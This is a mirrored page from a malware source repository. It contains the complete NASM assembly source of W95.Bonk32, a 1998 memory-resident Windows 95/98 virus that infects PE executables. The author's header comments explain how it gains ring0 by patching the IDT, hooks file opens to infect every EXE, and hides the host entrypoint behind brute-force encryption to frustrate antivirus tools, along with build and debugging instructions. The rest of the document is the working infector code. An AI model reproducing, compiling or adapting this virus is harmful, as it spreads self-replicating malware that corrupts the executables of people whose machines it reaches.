mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
557 lines
16 KiB
NASM
557 lines
16 KiB
NASM
;[W95.BONK32] Resident PE infector
|
|
;Copyright 1998 (c) Vecna
|
|
;
|
|
;This virus is the 2nd PE infector i wrote, and is a memory resident infector
|
|
;designed exclusively for win95/98. It shouldnt work neither in winNT or in
|
|
;w32s. It patches the IDT, that isnt protected in w95/98, modifies a vector
|
|
;to point code into the virus, and execute this interrupt. As the code is
|
|
;executed in ring0, the virus alloc memory and read from the host file the
|
|
;rest of the virus code. It then jump to this virus part, that hook IFS and
|
|
;restore the host.
|
|
;
|
|
;Always a EXE file is open, the virus handler take control, and infect it.
|
|
;The virus body is appended as a overlay to the end of host, without any
|
|
;physical link to host, and a small loader is stored into the free space of
|
|
;the PE header.
|
|
;
|
|
;If the host file dont have relocationz, the virus encript the original
|
|
;entrypoint and patch it with a jump to the virus loader. The key for the code
|
|
;encripted is not saved, but a CRC32 of it unencripted is stored. When the
|
|
;virus restore it, it must try all keyz, what can be time costly for AVerz.
|
|
;
|
|
;As the original entrypoint dont change, and the virus code isnt linked to
|
|
;host, beside the loader, this work as a anti-heuristic feature.
|
|
;
|
|
;Early versionz haved a bug, that cause a crash in everybody machine beside
|
|
;mine. This was because a non-fixed call to int 0x20. Some lines added and
|
|
;now it work fine.
|
|
;
|
|
;W95.Bonk32 is written using NASM sintax, that showed very efficient for my
|
|
;viral needz, as provide more control over the generated code . To compile
|
|
;you will need NASM, LINK from Microsoft and PEWRSEC from Jacky Qwerty/29A.
|
|
;You also will need any MAKE utility (Borland, Microsoft and LCC ones work).
|
|
;then debug it using SOFT-ICE till u get the point that the virus open host
|
|
;at this point, change esi to point to a unused area (ECX hold one), then
|
|
;then edit this memory (D ESI;EB) and type the dir you are and \bonk32 at the
|
|
;end. Then make the virus go(BC *;G).
|
|
;
|
|
;Or, better, run the pre-compiled file. It will execute and stay resident.
|
|
;All open files will be infected then. Remeber that the pre-compiled file
|
|
;must reside in root dir of C:, else it will crash.
|
|
;
|
|
;I must thank 2 people: the AV that discovered the bug, and Alchemy, that
|
|
;gimme the EIP of the fault and make possible to me fix it.
|
|
|
|
[bits 32]
|
|
[section .text]
|
|
[global _main]
|
|
|
|
%define true 1
|
|
%define false 0
|
|
|
|
%define debug false
|
|
%define userda true
|
|
|
|
%define buffer bname + 0x100
|
|
%define buffer2 buffer + 0x1000
|
|
|
|
%macro vxdcall 2
|
|
int 0x20
|
|
dw %2
|
|
dw %1
|
|
%endmacro
|
|
|
|
hook:
|
|
enter 0x20, 0x00 ;setup stack frame
|
|
push ecx
|
|
push ebx
|
|
call .delta
|
|
.delta:
|
|
pop ebx
|
|
sub ebx, .delta
|
|
cmp dword [ebp+0x0C], byte 0x24
|
|
jne .noopen ;only hookz ifs_opne
|
|
cmp byte [ebx+recurse], byte 0x00
|
|
jne .noopen ;no re-enter
|
|
inc byte [ebx+recurse]
|
|
pushad
|
|
call dynacall ;fix dynamic int20 calls
|
|
call uni2ansi
|
|
call infect ;replicate
|
|
popad
|
|
dec byte [ebx+recurse]
|
|
.noopen:
|
|
mov ecx, 0x06 ;total=6 paramz
|
|
mov ebx, 0x1C
|
|
.nparam:
|
|
mov eax, [ebp+ebx] ;copy paramz from old frame
|
|
push eax ;to new frame
|
|
sub ebx, 4
|
|
loop .nparam
|
|
db 0xb8
|
|
oldhook dd 0
|
|
call [eax] ;call old hookz
|
|
add esp, byte 0x18
|
|
pop ebx
|
|
pop ecx
|
|
leave
|
|
ret
|
|
|
|
db '[BONK32] by Vecna/29A', 0x00
|
|
|
|
dynacall:
|
|
pushad
|
|
cld
|
|
mov ax, 0x20CD
|
|
call .odynatable
|
|
.dynatable:
|
|
dw 0x67, 0x40
|
|
dw 0x32, 0x40
|
|
dw 0x0D, 0x40 ;function, vxd
|
|
dw 0x41, 0x40
|
|
dw 0x32, 0x40
|
|
.odynatable:
|
|
pop esi
|
|
mov edi, esi
|
|
add edi, fix1-.dynatable
|
|
stosw ;make vxd calls to dynamic
|
|
movsd ;int20 code
|
|
add edi, IFS-fix1-6
|
|
stosw
|
|
movsd
|
|
add edi, byte fix3-IFS-6
|
|
stosw
|
|
movsd
|
|
add edi, fix4-fix3-6 ;make all fixes
|
|
stosw
|
|
movsd
|
|
popad
|
|
ret
|
|
|
|
uni2ansi:
|
|
pushad
|
|
lea edi, [ebx+bname]
|
|
mov eax, [ebp+0x10]
|
|
cmp al, -1
|
|
jz .drive
|
|
add al, '@' ;make number2letter
|
|
stosb
|
|
mov al, ':'
|
|
stosb
|
|
.drive:
|
|
sub eax, eax
|
|
push eax
|
|
mov eax, 0x100
|
|
push eax
|
|
mov eax, [ebp+0x1C]
|
|
mov eax, [eax+0x0C]
|
|
add eax, byte 0x04
|
|
push eax
|
|
push edi
|
|
fix4:
|
|
vxdcall 0x40, 0x41 ;make unicode2ansi
|
|
add esp, byte 0x10
|
|
add edi, eax
|
|
sub eax, eax
|
|
stosb
|
|
popad
|
|
ret
|
|
|
|
infect:
|
|
lea edi, [ebx+bname]
|
|
mov ebp, edi
|
|
mov ecx, 0x100
|
|
sub eax, eax
|
|
cld
|
|
repne scasb ;end of name
|
|
or ecx, ecx
|
|
jz near error
|
|
cmp dword [edi-0x05], '.EXE'
|
|
jne near error ;only infect exe files
|
|
%if debug == true
|
|
cmp dword [edi-0x09], 'BAIT'
|
|
jne near error ;debug code
|
|
%endif
|
|
mov eax, 0xD500
|
|
sub ecx, ecx
|
|
mov edx, ecx
|
|
inc edx
|
|
mov ebx, edx
|
|
inc ebx
|
|
mov esi, ebp
|
|
call IFS ;open it
|
|
jc near error
|
|
call .delta
|
|
.delta:
|
|
pop ebp
|
|
sub ebp, .delta ;ebp hold delta offset
|
|
mov ebx, eax
|
|
mov eax, 0xD600
|
|
sub edx, edx
|
|
mov ecx, 0x1000
|
|
lea esi, [ebp+buffer]
|
|
call IFS ;read pe headerz
|
|
jc near errorclose
|
|
mov ax, word [esi]
|
|
add al, ah
|
|
cmp al, 0xA7
|
|
jne near errorclose ;not exe
|
|
mov edi, [esi+0x3C]
|
|
mov [ebp+mz_size], edi
|
|
cmp edi, 0xE00
|
|
ja near errorclose ;buffer overflow
|
|
add edi, esi
|
|
cmp dword [edi], 'PE'
|
|
jne near errorclose ;not pe newexe
|
|
mov eax, 'BONK'
|
|
cmp [edi+88], eax
|
|
mov [edi+88], eax
|
|
jz near errorclose ;already infected
|
|
cmp word [edi+4], 0x014C ;run in a 386?
|
|
jnz near errorclose
|
|
bt word [edi+22], 1 ;executable?
|
|
jnc near errorclose
|
|
bt word [edi+22], 0x0D ;dll?
|
|
jc near errorclose
|
|
mov eax, [edi+40]
|
|
add eax, [edi+52] ;mementry==imagebase+entrypont
|
|
mov [ebp+loader.entrypoint], eax
|
|
movzx eax, word [edi+6]
|
|
imul eax, eax, 40
|
|
movzx ecx, word [edi+20] ;sum size of all headerz
|
|
add eax, ecx
|
|
add eax, 24
|
|
mov ecx, eax
|
|
add eax, edi
|
|
add ecx, lsize
|
|
cmp dword [edi+84], ecx ;total size of headerz
|
|
jc near errorclose ;enought to loader?
|
|
push eax
|
|
push edi
|
|
mov edi, eax
|
|
mov ecx, lsize
|
|
lea esi, [ebp+loader]
|
|
rep movsb ;copy loader to pe header
|
|
lea esi, [ebp+bname]
|
|
.nextbyte:
|
|
lodsb
|
|
stosb
|
|
test al, al
|
|
jnz .nextbyte ;copy host name
|
|
pop edi
|
|
pop eax
|
|
sub eax, edi
|
|
cmp [edi+160], ecx
|
|
jne near .relocs
|
|
cmp [edi+164], ecx
|
|
jne near .relocs ;shit, relocz present
|
|
%if userda == true
|
|
push ebx
|
|
mov dword [ebp+jmpentry], eax ;signal rda used
|
|
movzx ecx, word [edi+20]
|
|
add ecx, edi
|
|
add ecx, 24-0x28
|
|
.next:
|
|
add ecx, 0x28
|
|
mov edx, [edi+40]
|
|
sub edx, [ecx+12] ;is EIP pointing inside
|
|
cmp edx, [ecx+8] ;this section?
|
|
jnb .next
|
|
or dword [ecx+36], 80000000h ;make section writeable
|
|
add edx, [ecx+20] ;edx point physical entrypoint
|
|
push edx
|
|
push eax ;save virus entry
|
|
mov eax, 0xD600
|
|
mov ecx, 0x100
|
|
lea esi, [ebp+buffer2] ;esi point entrycode
|
|
call IFS ;read entry code
|
|
push esi
|
|
push edi
|
|
push esi
|
|
mov eax, 0x100
|
|
push eax
|
|
push esi
|
|
push eax
|
|
call crc32 ;calc crc32 of 100h bytes
|
|
mov [ebp+rdacrc32], eax
|
|
pop ecx
|
|
pop esi
|
|
pop edi
|
|
in al, 0x40
|
|
.rdaloop:
|
|
xor byte [esi], al ;encript crc32ed code
|
|
inc esi
|
|
loop .rdaloop
|
|
pop esi
|
|
push edi
|
|
lea edi, [ebp+hostcode]
|
|
movsd
|
|
movsb ;save entrycode
|
|
pop edi
|
|
xchg esi, edi ;edi point to entrycode
|
|
sub edi, byte 5
|
|
mov al, 0xE9 ;esi point to pe header
|
|
stosb
|
|
pop edx
|
|
sub edx, [esi+40]
|
|
mov eax, edx
|
|
sub eax, 5
|
|
add eax, dword [ebp+mz_size]
|
|
stosd ;store displacement
|
|
mov edi, esi
|
|
pop edx
|
|
mov eax, 0xD601
|
|
mov ecx, 0x100
|
|
lea esi, [ebp+buffer2]
|
|
pop ebx
|
|
call IFS ;write pe headerz
|
|
jmp .norelocs
|
|
%endif
|
|
.relocs:
|
|
mov dword [ebp+jmpentry], ecx ;flag as normal file
|
|
add eax, dword [ebp+mz_size]
|
|
mov [edi+40], eax ;set new entrypoint
|
|
.norelocs:
|
|
mov eax, 0xD601
|
|
sub edx, edx
|
|
mov ecx, dword [edi+84]
|
|
lea esi, [ebp+buffer]
|
|
call IFS ;write pe headerz
|
|
mov eax, 0xD800
|
|
call IFS ;get filesize
|
|
mov edx, 0xD601
|
|
xchg eax, edx
|
|
mov ecx, vsize
|
|
mov esi, ebp
|
|
call IFS ;write overlay code
|
|
errorclose:
|
|
mov eax, 0xD700
|
|
call IFS ;close file
|
|
error:
|
|
ret
|
|
|
|
rdacrc32 dd 0
|
|
jmpentry dd 0
|
|
hostcode dd 0
|
|
db 0
|
|
recurse db 0
|
|
mz_size dd 0
|
|
|
|
install:
|
|
sub edx, edx
|
|
sub esi, install ;esi point to start of vcode
|
|
push esi
|
|
mov dword [esi+recurse], edx
|
|
mov eax, 0xD700
|
|
call IFS ;close file
|
|
or ebp, ebp
|
|
jns skip
|
|
fix1:
|
|
vxdcall 0x40, 0x67 ;hook ifs
|
|
skip:
|
|
pop ecx
|
|
mov [esi+oldhook], eax
|
|
.restore:
|
|
%if userda == true
|
|
cmp dword [esi+jmpentry], byte 0x0
|
|
jz .norda ;was rda used?
|
|
push esi
|
|
mov edi, [esi+loader.entrypoint]
|
|
lea esi, [esi+hostcode]
|
|
movsd
|
|
movsb ;restore init code
|
|
pop esi
|
|
push dword 0x100
|
|
push dword [esi+rdacrc32]
|
|
push dword [esi+loader.entrypoint]
|
|
call rda ;rda decript host
|
|
.norda:
|
|
%endif
|
|
ret
|
|
|
|
%if userda == true
|
|
crc32_pbfr equ +0x0C
|
|
crc32_sz equ +0x08
|
|
crc32_ret@ equ +0x04
|
|
crc32_ebp@ equ +0x00
|
|
|
|
crc32:
|
|
push ebp
|
|
mov ebp, esp
|
|
mov esi, [ebp+crc32_pbfr]
|
|
mov edi, [ebp+crc32_sz] ;setup regz
|
|
push byte -1
|
|
pop ecx ;init crc32
|
|
mov edx, ecx
|
|
.aa:
|
|
sub eax, eax
|
|
mov ebx, eax
|
|
lodsb ;get byte
|
|
xor al, cl
|
|
mov cl, ch
|
|
mov ch, dl
|
|
mov dl, dh
|
|
mov dh, 8
|
|
.ab:
|
|
shr bx, 1
|
|
rcr ax, 1
|
|
jnc .ac
|
|
xor ax, 0x08320 ;logarithm
|
|
xor bx, 0x0edb8
|
|
.ac:
|
|
dec dh
|
|
jnz .ab
|
|
xor ecx, eax
|
|
xor edx, ebx
|
|
dec edi
|
|
jnz .aa ;next byte
|
|
not edx
|
|
not ecx
|
|
shl ecx, 16 ;cx:dx to ecx
|
|
mov cx, dx
|
|
mov eax, ecx
|
|
pop ebp
|
|
ret 8
|
|
%endif
|
|
|
|
_main
|
|
|
|
loader:
|
|
pushad
|
|
call .seh
|
|
mov esp, [esp+8]
|
|
jmp .removeseh
|
|
.seh:
|
|
sub edx, edx
|
|
fs push dword [edx]
|
|
fs mov dword [edx], esp ;seh frame set
|
|
call .delta
|
|
.delta:
|
|
pop eax
|
|
sub eax, .delta
|
|
push eax
|
|
sidt [esp-2] ;get idt to ebx
|
|
pop ebx
|
|
cli
|
|
mov ebp, [ebx+0x4+(0x5*0x8)]
|
|
mov bp, [ebx+(0x5*0x8)]
|
|
lea ecx, [eax+ring0] ;new int5 handler
|
|
mov [ebx+(0x5*0x8)], cx
|
|
bswap ecx
|
|
xchg cl, ch
|
|
mov [ebx+0x6+(0x5*0x8)], cx
|
|
push ds
|
|
push es
|
|
int 0x5 ;jump to ring0
|
|
pop es
|
|
pop ds
|
|
.removeseh:
|
|
sti
|
|
sub eax, eax
|
|
fs pop dword [eax] ;remove seh frame
|
|
pop eax
|
|
popad
|
|
db 0x68 ;return to host
|
|
.entrypoint dd 0
|
|
pop ecx
|
|
jecxz .ret
|
|
push ecx
|
|
.ret:
|
|
ret
|
|
|
|
IFS:
|
|
vxdcall 0x40, 0x32 ;just one place to fix
|
|
ret
|
|
|
|
ring0:
|
|
cld
|
|
push ss
|
|
pop ds
|
|
mov edi, [eax+IFS]
|
|
mov ax, 0x20CD ;these linez fix the previous
|
|
stosw ;bug, found by AVz
|
|
mov ax, 0x32
|
|
stosw
|
|
mov ax, 0x40
|
|
stosw
|
|
lea ecx, [eax+bname]
|
|
lea esi, [eax+name]
|
|
mov eax, 0xD500 ;openfile
|
|
sub ecx, ecx
|
|
mov edx, ecx
|
|
mov ebx, ecx
|
|
inc edx
|
|
call IFS
|
|
jnc .skip
|
|
iret ;cant open host
|
|
.skip:
|
|
push eax
|
|
push dword 8192
|
|
fix3:
|
|
vxdcall 0x40, 0x0D ;vmm alloc
|
|
pop ecx
|
|
mov esi, eax
|
|
pop ebx
|
|
jc .error
|
|
mov eax, 0xD800 ;get filesize
|
|
call IFS
|
|
mov ecx, vsize
|
|
sub eax, ecx
|
|
mov edx, 0xD600 ;read overlay
|
|
xchg eax, edx
|
|
call IFS
|
|
add esi, install-hook
|
|
call esi ;call it!
|
|
.error:
|
|
iret
|
|
|
|
lsize equ ($-loader)
|
|
|
|
name equ $
|
|
|
|
%if userda == true
|
|
rda_sz equ +16
|
|
rda_crc equ +12
|
|
rda_pbfr equ +08
|
|
rda_ret@ equ +04
|
|
rda_ebp@ equ +00
|
|
rda_pass equ -04
|
|
rda_key equ -08
|
|
|
|
rda:
|
|
enter 8, 0 ;2 dwords as local var
|
|
sub eax, eax
|
|
mov [ebp+rda_pass], eax
|
|
mov [ebp+rda_key], eax ;setup rda
|
|
.setup:
|
|
mov esi, [ebp+rda_pbfr]
|
|
mov ecx, [ebp+rda_sz]
|
|
mov edx, [ebp+rda_key] ;setup loop
|
|
.loop:
|
|
xor [esi], dl
|
|
inc esi
|
|
dec ecx
|
|
jnz .loop
|
|
inc dword [ebp+rda_pass] ;increase pass counter
|
|
cmp [ebp+rda_pass], byte 2
|
|
jne .check ;first pass
|
|
sub eax, eax
|
|
mov [ebp+rda_pass], eax
|
|
inc dword [ebp+rda_key] ;new key
|
|
jmp short .setup
|
|
.check:
|
|
push ebp
|
|
push dword [ebp+rda_pbfr]
|
|
push dword [ebp+rda_sz]
|
|
call crc32 ;calc crc32
|
|
pop ebp
|
|
cmp eax, [ebp+rda_crc]
|
|
jne .setup ;crc32 dont match
|
|
leave
|
|
ret 12
|
|
%endif
|
|
|
|
vsize equ ($-$$)
|
|
|
|
bname:
|